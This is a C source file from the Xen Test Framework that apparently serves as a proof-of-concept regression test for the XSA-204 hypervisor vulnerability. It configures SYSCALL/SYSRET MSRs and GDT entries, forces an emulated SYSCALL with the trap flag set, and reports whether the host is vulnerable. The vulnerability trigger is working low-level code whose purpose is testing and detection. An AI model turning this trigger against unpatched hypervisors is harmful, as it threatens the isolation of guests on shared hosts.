main.c

Go to the documentation of this file.

 
#include <xtf.h>
 
const char test_title[] = "XSA-204 PoC";
bool test_needs_fep = true;
 
void entry_SYSCALL_64(void);
asm(".align 8;"
    "entry_SYSCALL_64:"
    "1: and $~" STR(X86_EFLAGS_TF) ", %r11;"
    "sysretq;"
    _ASM_EXTABLE_HANDLER(1b, 1b, ex_record_fault_eax)
    );
 
static unsigned long __user_text user_force_syscall(void)
{
    unsigned long fault = 0;
 
    asm volatile ("pushf;"
                  "orl $%c[TF], (%%rsp);"
                  "popf;"
                  _ASM_XEN_FEP "syscall;"
                  : "+a" (fault)
                  : [TF] "i" (X86_EFLAGS_TF)
                  : "rcx", "r11");
 
    return fault;
}
 
void test_main(void)
{
    if ( !cpu_has_syscall )
        return xtf_skip("Skip: SYSCALL not suported\n");
 
    /* Enable SYSCALL/SYSRET. */
    wrmsr(MSR_EFER, rdmsr(MSR_EFER) | EFER_SCE);
 
    /* Lay out the GDT suitably for SYSCALL/SYSRET. */
    gdt[GDTE_AVAIL0] = gdt[__KERN_CS >> 3]; /* SYSCALL %cs/%ss selectors */
    gdt[GDTE_AVAIL1] = gdt[GDTE_DS32_DPL0];
 
    gdt[GDTE_AVAIL2] = gdt[GDTE_CS32_DPL3]; /* SYSRET  %cs/%ss selectors */
    gdt[GDTE_AVAIL3] = gdt[GDTE_DS32_DPL3];
    gdt[GDTE_AVAIL4] = gdt[GDTE_CS64_DPL3];
 
    /* Set up the MSRs. */
    wrmsr(MSR_STAR, ((((uint64_t)GDTE_AVAIL0 * 8 + 0) << 32) |
                     (((uint64_t)GDTE_AVAIL2 * 8 + 3) << 48)));
    wrmsr(MSR_LSTAR, _u(entry_SYSCALL_64));
    wrmsr(MSR_FMASK, X86_EFLAGS_TF);
 
    exinfo_t ex = exec_user(user_force_syscall);
    switch ( ex )
    {
    case 0:
        return xtf_success("Success: Not vulnerable to XSA-204\n");
 
    case EXINFO_SYM(DB, 0):
        return xtf_failure("Fail: Got #DB - vulnerable to XSA-204\n");
 
    default:
        return xtf_error("Error: Expected nothing, got %pe\n", _p(ex));
    }
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */